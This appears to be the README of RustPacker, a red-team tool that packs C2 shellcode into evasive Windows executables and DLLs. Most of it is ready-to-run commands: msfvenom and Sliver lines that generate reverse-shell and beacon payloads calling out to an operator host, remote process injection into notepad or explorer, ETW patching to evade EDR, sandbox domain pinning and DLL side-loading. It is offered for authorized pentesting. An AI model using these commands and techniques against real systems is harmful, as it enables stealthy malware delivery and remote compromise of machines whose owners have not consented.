Template-based shellcode packer written in Rust, with indirect syscall support. Made with <3 for pentesters.
Template-based shellcode packer written in Rust, with indirect syscall support. Made with <3 for pentesters.
Turn raw shellcode into evasive Windows binaries — in one command, from any OS.
Designed for authorized penetration testers and red team operators.
Shellcode is a small blob of machine code that a C2 framework (Metasploit, Sliver, Cobalt Strike…) generates as a payload. By itself it's just bytes — it needs a loader to run it on a target Windows machine.
RustPacker is that loader generator. It takes your shellcode and wraps it in a Rust program.
The result is a .exe or .dll that you deliver to your target during an authorized engagement.
The fastest and easiest way to use RustPacker! No Rust installation required.
# Ubuntu / Debian
sudo apt install podman
# Fedora / RHEL
sudo dnf install podman
# macOS
brew install podman
podman machine init
podman machine start
# Windows (PowerShell)
winget install Podman.Podman # or install Podman DesktopVerify: podman --version or docker --version
git clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
# Build the all-in-one container
podman build -t rustpacker -f Dockerfile.all-in-one .This step is done once. The image is then cached locally.
Important: Place all your shellcode files (e.g., shellcode.raw, payload.bin) in the shared/ directory of the RustPacker project. This directory is mounted inside the container at /workdir/shared/.
# Generate a test payload (harmless MessageBox) - note it's saved to shared/
msfvenom -p windows/x64/messagebox TEXT="RustPacker!" TITLE="Test" -f raw -o shared/shellcode.bin
# Generate EXE payload
podman run --rm -v $(pwd):/workdir rustpacker \
--shellcode-path /workdir/shared/shellcode.bin \
--format exe \
--execution ntcrt \
--encryption xor \
--output /workdir/shared/payload.exeYour payload is ready! Find it at: shared/payload.exe
Note: The container uses long-form arguments (
--shellcode-path,--format,--execution,--encryption,--output). Template names support both short aliases (e.g.,ntcrt,ntapc) and full names (e.g.,nt-create-remote-thread,nt-queue-user-apc).
Add this to your ~/.bashrc or ~/.zshrc:
alias rustpacker='podman run --rm -v $(pwd):/workdir rustpacker'⚠️ Remember: Always place your shellcode files in the
shared/directory. The alias mounts the current directory to/workdirin the container.
Now use it directly:
# Generate EXE payload
rustpacker \
--shellcode-path /workdir/shared/shellcode.bin \
--format exe \
--execution ntcrt \
--encryption aes \
--output /workdir/shared/payload.exe
# Generate DLL payload with self-injection
rustpacker \
--shellcode-path /workdir/shared/shellcode.bin \
--format dll \
--execution ntapc \
--encryption uuid \
--output /workdir/shared/payload.dllWindows setup instructions
Option A — Podman Desktop (Recommended):
podman --versionOption B — Docker Desktop:
docker --versiongit clone https://github.com/Nariod/RustPacker.git
cd RustPacker
podman build -t rustpacker -f Dockerfile.all-in-one .Important: Always place your shellcode files in the shared\ directory of the RustPacker project before running commands.
…PowerShell alias for container mode:
function rustpacker { podman run --rm -v "${PWD}:/workdir:z" rustpacker @args }macOS setup instructions
brew install podman
podman machine init
podman machine start
git clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
podman build -t rustpacker -f Dockerfile.all-in-one .
alias rustpacker='podman run --rm -v $(pwd):/workdir rustpacker'
# Important: Place your shellcode in the shared/ directory
rustpacker --shellcode-path /workdir/shared/payload.raw --format exe --execution ntcrt --encryption aes --target-process notepad.exe --output /workdir/shared/output.exeAlternative: Native Mode (Rust toolchain required)
If you already have Rust installed, you can run RustPacker directly without building the container first. It will automatically detect Podman or Docker and use a container only for cross-compilation:
git clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
cargo build --release
# Linux / macOS
cargo run -- -s shared/your_shellcode.raw -i ntcrt -e aes -f exe -t notepad.exe
# Windows (PowerShell)
cargo run -- -s shared\your_shellcode.raw -i ntcrt -e aes -f exe -t notepad.exeThe first run builds the rustpacker-builder image once. Subsequent runs reuse the cached image and a shared cargo registry volume for fast builds.
-t )These inject shellcode into a remote process. Default target: dllhost.exe.
| Template | API Level | Indirect Syscalls | Dynamic API | Description |
|---|---|---|---|---|
wincrt |
High (Windows-rs) | ❌ | ❌ | CreateRemoteThread via the official Windows crate |
ntcrt |
Low (ntapi) | ❌ | ✅ | NtCreateThreadEx via dynamic NT API resolution |
syscrt |
Syscall | ✅ | ❌ | NtCreateThreadEx via indirect syscalls |
earlycascade |
Low (winapi) | ❌ | ❌ | EarlyCascade injection via shim engine callback hijacking |
-t needed)These execute shellcode within the current process.
| Template | API Level | Indirect Syscalls | Dynamic API | ETW patching compatible | Description |
|---|---|---|---|---|---|
ntapc |
Low (ntapi) | ❌ | ✅ | ❌ | Queue APC to current thread via dynamic NT API resolution |
winfiber |
High (windows-sys) | ❌ | ❌ | ❌ | Fiber-based execution via Windows API |
ntfiber |
Low (ntapi + windows-sys) | ❌ | ✅ | ❌ | Fiber-based execution via dynamic NT API resolution |
sysfiber |
Syscall (ntapi + windows-sys) | ✅ | ❌ | ✅ | Fiber-based execution via indirect syscalls |
ntstomp |
Low (ntapi) | ❌ | ✅ | ❌ | Module stomping: overwrites a legit DLL's .text with shellcode |
ntwat |
Low (ntapi) | ❌ | ✅ | ❌ | WebAssembly stager: wraps the encrypted payload in a wasm module (WAT text format, low entropy), reads the data section back out at runtime, then self-executes |
ntveh |
Low (ntapi) | ❌ | ✅ | ❌ | Vectored Exception Handler: registers a VEH, raises an exception, and executes shellcode from the handler |
The container mode uses long-form arguments. Both short and long forms are supported in native mode.
⚠️ Important for container mode: All files (shellcode, output, proxy DLLs) must be placed in or output to the
shared/directory. This directory is mounted at/workdir/shared/inside the container.
……Important: Always save your shellcode files in the shared/ directory of the RustPacker project. This directory is the only one mounted inside the container.
Metasploit (msfvenom):
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4444 EXITFUNC=thread -f raw -o shared/payload.rawSliver:
# In Sliver console
generate --mtls 192.168.1.100:443 --format shellcode --os windows
# Then copy the generated .bin file to the shared/ folder⚠️ Important: All shellcode files must be placed in the
shared/directory before running these commands. The container mountsshared/at/workdir/shared/.The examples below use the
rustpackeralias defined in the Quick Start section. Replace it with the fullpodman run --rm -v $(pwd):/workdir rustpackercommand if you haven't set up the alias.
Basic EXE with AES encryption (remote injection into notepad):
rustpacker --shellcode-path /workdir/shared/payload.raw --format exe --execution ntcrt --encryption aes --target-process notepad.exe --output /workdir/shared/payload.exeDLL with XOR encryption (self-injection via APC):
rustpacker --shellcode-path /workdir/shared/payload.raw --format dll --execution ntapc --encryption xor --output /workdir/shared/payload.dllUsing indirect syscalls (remote injection into explorer):
rustpacker --shellcode-path /workdir/shared/payload.raw --format exe --execution syscrt --encryption aes --target-process explorer.exe --output /workdir/shared/payload.exeUUID encoding (shellcode hidden as UUID strings):
rustpacker --shellcode-path /workdir/shared/payload.raw --format exe --execution ntcrt --encryption uuid --target-process notepad.exe --output /workdir/shared/payload.exeWith domain pinning (only detonates on MYDOMAIN):
rustpacker --shellcode-path /workdir/shared/payload.raw --format exe --execution winfiber --encryption aes --sandbox MYDOMAIN --output /workdir/shared/payload.exeCustom output path:
rustpacker --shellcode-path /workdir/shared/payload.raw --format exe --execution ntcrt --encryption aes --output /workdir/shared/my_binary.exeWith ETW patching (EDR evasion for sysfiber template):
rustpacker --shellcode-path /workdir/shared/payload.raw --format exe --execution sysfiber --encryption aes --etw-patch --output /workdir/shared/payload.exeDLL proxying (side-loading):
Important: Both your shellcode file AND the DLL to proxy must be placed in the shared/ directory.
# 1. Copy the DLL you want to proxy into the shared directory (required for container access)
cp /mnt/c/Windows/System32/version.dll shared/ # from WSL
# or: copy C:\Windows\System32\version.dll shared\ # from Windows
# 2. Proxy version.dll — compatible with self-injection templates only (ntapc, ntfiber, sysfiber, winfiber, ntstomp, ntwat, ntveh)
rustpacker --shellcode-path /workdir/shared/payload.raw --format dll --execution ntfiber --encryption aes --proxy-dll /workdir/shared/version.dll --output /workdir/shared/proxy.dllThe proxy DLL forwards all exports to the renamed original (version_orig.dll) and executes your shellcode on load via DllMain. Deploy by placing the proxy DLL alongside the target application with the original DLL renamed (e.g., version.dll \u2192 version_orig.dll).
Note: The
--proxy-dllpath must be accessible from within the container. Use the/workdir/prefix for all paths when running in container mode.
RustPacker implements several evasion techniques:
nt* templates): NT API functions are resolveNo open issues yet, or sync has not completed.